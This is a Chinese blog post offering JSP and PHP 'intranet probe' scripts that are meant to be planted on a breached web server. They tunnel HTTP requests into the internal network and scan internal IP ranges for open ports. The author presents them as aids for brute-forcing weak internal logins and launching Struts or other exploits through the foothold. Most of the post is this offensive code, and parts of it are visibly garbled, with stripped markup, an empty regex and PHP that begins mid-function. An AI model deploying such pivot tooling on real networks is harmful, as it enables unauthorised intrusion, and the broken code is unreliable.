前言： 某些情况下，内网渗透时，代理出不来，工具传上去被杀，总之就是遇到各种问题。而最过纠结的时，我已经知道内网哪台机器有洞了..（经验多的大神飘过，如果能解决某些内网渗透时遇到的坑的问题，求分享解决方法..）
功能： 代理访问虽然是个简单的功能，但是我觉得够用了。完全可以用来直接扫描内网其他web服务器的目录，尝试内网其其他登陆入口的弱口令，或者直接代理打struts或者其他漏洞。
web扫描： 其实我觉得用web发现更加贴切，其实有了端口扫描为啥还要这个.(因为之前的代码不想动它了。)
端口扫描： 大家都懂。（此功能问题较多，我觉得如果能使用工具或者代理回来就尽量不使用此脚本进行扫描。）
<%@page import="java.io.File"%><%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%@ page isThreadSafe="false"%><%@page import="java.net.*"%><%@page import="java.io.PrintWriter"%><%@page import="java.io.BufferedReader"%><%@page import="java.io.FileReader"%><%@page import="java.io.FileWriter"%><%@page import="java.io.OutputStreamWriter"%><%@page import="java.util.regex.Matcher"%><%@page import="java.io.IOException"%><%@page import="java.net.InetAddress"%><%@page import="java.util.regex.Pattern"%><%@page import="java.net.HttpURLConnection"%><%@page import="java.util.concurrent.LinkedBlockingQueue"%><%!final static List list = new ArrayList(); String referer = ""; String cookie = ""; String decode = "utf-8"; int thread = 100; //final static List scanportlist = new ArrayList(); String cpath=""; //建立一个HTTP连接 HttpURLConnection getHTTPConn(String urlString) { try { java.net.URL url = new java.net.URL(urlString); java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url .openConnection(); conn.setRequestMethod("GET"); conn.addRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon;)"); conn.addRequestProperty("Accept-Encoding", "gzip"); conn.addRequestProperty("referer", referer); conn.addRequestProperty("cookie", cookie); //conn.setInstanceFollowRedirects(false); conn.setConnectTimeout(3000); conn.setReadTimeout(3000); return conn; } catch (Exception e) { return null; } } String PostData(String urlString, String postString) { HttpURLConnection http = null; String response = null; try { java.net.URL url = new java.net.URL(urlString); http = (HttpURLConnection) url.openConnection(); http.setDoInput(true); http.setDoOutput(true); http.setUseCaches(false); http.setConnectTimeout(50000); http.setReadTimeout(50000); http.setRequestMethod("POST"); http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); http.connect(); OutputStreamWriter osw = new OutputStreamWriter( http.getOutputStream(), decode); osw.write(postString); osw.flush(); osw.close(); response = getHtmlByInputStream(http.getInputStream(), decode); } catch (Exception e) { response = getHtmlByInputStream(http.getErrorStream(), decode); } return response; } HttpURLConnection conn; //从输入流中读取源码 String getHtmlByInputStream(java.io.InputStream is, String code) { StringBuffer html = new StringBuffer(); try { java.io.InputStreamReader isr = new java.io.InputStreamReader(is, code); java.io.BufferedReader br = new java.io.BufferedReader(isr); String temp; while ((temp = br.readLine()) != null) { if (!temp.trim().equals("")) { html.append(temp).append("\n"); } } br.close(); isr.close(); } catch (Exception e) { System.out.print(e.getMessage()); } return html.toString(); } //获取HTML源码 String getHtmlContext(HttpURLConnection conn, String decode,boolean isError) { Map result = new HashMap(); String code = "utf-8"; if (decode != null) { code = decode; } try { return getHtmlByInputStream(conn.getInputStream(), code); } catch (Exception e) { try { if(isError){ return getHtmlByInputStream(conn.getErrorStream(), code); } } catch (Exception e1) { System.out.println("getHtmlContext2:" + e.getMessage()); } System.out.println("getHtmlContext:" + e.getMessage()); return "null"; } } //获取Server头 String getServerType(HttpURLConnection conn) { try { return conn.getHeaderField("Server"); } catch (Exception e) { return "null"; } } //匹配标题 String getTitle(String htmlSource) { try { List list = new ArrayList(); String title = ""; Pattern pa = Pattern.compile(".*?"); Matcher ma = pa.matcher(htmlSource); while (ma.find()) { list.add(ma.group()); } for (int i = 0; i < list.size(); i++) { title = title + list.get(i); } return title.replaceAll("<.*?>", ""); } catch (Exception e) { return null; } } //得到css List getCss(String html, String url, String decode) { List cssurl = new ArrayList(); List csscode = new ArrayList(); try { String title = ""; Pattern pa = Pattern.compile(".*href=\"(.*)[.]css"); Matcher ma = pa.matcher(html.toLowerCase()); while (ma.find()) { cssurl.add(ma.group(1) + ".css"); } for (int i = 0; i < cssurl.size(); i++) { String cssuuu = url + "/" + cssurl.get(i); String csshtml = ""; csscode.add(csshtml); } } catch (Exception e) { System.out.println("getCss:" + e.getMessage()); } return csscode; } //域名解析成IP String getMyIPLocal() throws IOException { InetAddress ia = InetAddress.getLocalHost(); return ia.getHostAddress(); } boolean getHostPort(String task){ Socket client = null; boolean isOpen=false; try{ String[] s=task.split(":"); client = new Socket(s[0], Integer.parseInt(s[1])); isOpen=true; System.out.println("getHostPort:"+task); //scanportlist.add(task+" >>> Open"); saveScanReslt2(task+" >>> Open\r\n"); }catch(Exception e){ isOpen=false; } return isOpen; } void getPath(String path){ cpath=path; } /* void saveScanReslt(String s){ try{ FileUtils.writeStringToFile(new File(cpath+"/port.txt"), s,"UTF-8",true); }catch(Exception e){ System.out.print(e.getLocalizedMessage()); } } */ void saveScanReslt2(String content) { FileWriter writer = null; try { writer = new FileWriter(cpath+"/port.txt", true); writer.write(content); } catch (IOException e) { System.out.print(e.getLocalizedMessage()); } finally { try { if(writer != null){ writer.close(); } } catch (IOException e) { System.out.print(e.getLocalizedMessage()); } } } String s="Result:
"; String readPortResult(String portfile){ File file = new File(portfile); BufferedReader reader = null; try { System.out.println(""); reader = new BufferedReader(new FileReader(file)); String tempString = null; while ((tempString = reader.readLine()) != null) { s+=tempString+"
"; } reader.close(); } catch (IOException e) { return null; } finally { if (reader != null) { try { reader.close(); } catch (IOException e1) { return null; } } } return s; } %>内网简单扫描脚本
前些天看到wooyun社区有人发的jsp内网探测脚本，可以内网代理访问和内网端口扫描。但是却没找到php的既能代理内网，又能扫描内网端口的的脚本。所以我写了这个集合版本的php内网探测脚本。
';@ob_flush();@flush(); } }}echo '';if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){ $startip=$_POST['startip'];$endip=$_POST['endip'];$timeout=$_POST['timeout'];$port=$_POST['port'];$portarr=explode(',',$port);$siparr=explode('.',$startip);$eiparr=explode('.',$endip);$ciparr=$siparr;if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){exit('IP error: Wrong IP address or Trying to scan class A address');}if($startip==$endip){echo 'Scanning IP '.$startip.'
';@ob_flush();@flush();scanip($startip,$timeout,$portarr);@ob_flush();@flush();exit();} if($eiparr[3]!=255){$eiparr[3]+=1;}while($ciparr!=$eiparr){$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];echo '
Scanning IP '.$ip.'
';@ob_flush();@flush();scanip($ip,$timeout,$portarr);$ciparr[3]+=1; if($ciparr[3]>255){$ciparr[2]+=1;$ciparr[3]=0;}if($ciparr[2]>255){$ciparr[1]+=1;$ciparr[2]=0;}}}/*内网代理代码*/function getHtmlContext($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_TIMEOUT, 120); $result = curl_exec($ch); global $header; if($result){ $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header = explode("\r\n",substr($result, 0, $headerSize)); $body = substr($result, $headerSize); } if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { return $body; } if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { $location = getHeader("Location"); if(strpos(getHeader("Location"),'http://') == false){ $location = getHost($url).$location; } return getHtmlContext($location); } return NULL; } function getHost($url){ preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); return $matches[0]; } function getCss($host,$html){ preg_match_all("//i",$html, $matches); foreach($matches[1] as $v){ $cssurl = $v; if(strpos($v,'http://') == false){ $cssurl = $host."/".$v; } $csshtml = ""; $html .= $csshtml; } return $html; } if($url != null){ $host = getHost($url); echo getCss($host,getHtmlContext($url)); }?>
用法：
1、端口扫描部分：
填好起始ip、结束ip、自定义端口、超时等，点击扫描即可，十分方便
2、内网代理部分：直接在文件后面加url参数，注意这里要带着http协议，不然可能css加载不完
from
http://jeary.org/post-69.html
http://www.answ.cc/?post=18
标签：端口扫描, 内网 , 代理 , 端口
